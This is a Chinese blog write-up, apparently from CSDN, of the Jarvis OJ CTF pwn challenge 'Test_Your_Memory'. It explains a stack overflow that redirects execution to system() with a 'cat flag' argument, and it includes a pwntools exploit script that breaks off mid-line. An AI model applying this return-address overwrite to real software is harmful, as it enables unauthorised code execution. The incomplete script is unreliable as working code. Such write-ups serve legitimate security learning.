Jarvis OJ-PWN

本文介绍了一道名为Test_Your_Memory的题目,该题目通过修改返回地址来执行`system()`函数,从而实现`cat flag`命令。在解决此问题时,涉及了栈溢出、__stack_chk_fail函数的理解以及ELF文件的重映射概念。通过确定栈溢出后的填充长度,可以利用程序崩溃时的输出获取flag内容。
摘要由CSDN通过智能技术生成

Test_Your_Memory

题目名字和题目没啥关系,真·一点关系也没有。

提供了system()函数
在这里插入图片描述
并且在mem_test函数中的输出hint的地址,hint地址内容为cat flag。
在这里插入图片描述
在这里插入图片描述
所以只需要将返回地址改成system()所在的地址,并将hint的地址传给system就能执行cat flag命令。

from pwn import *
r=remote('pwn2.jarvisoj.com',9876)
e=ELF('./memory')
sys_addr=e.symbols['system']
cat_flag_addr=e.search('cat flag').next()

payload='a'*(0x13+4)+p32(sys_addr)+p32(0x8048677)+p32(cat_flag_addr)
r.recvuntil('cff
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值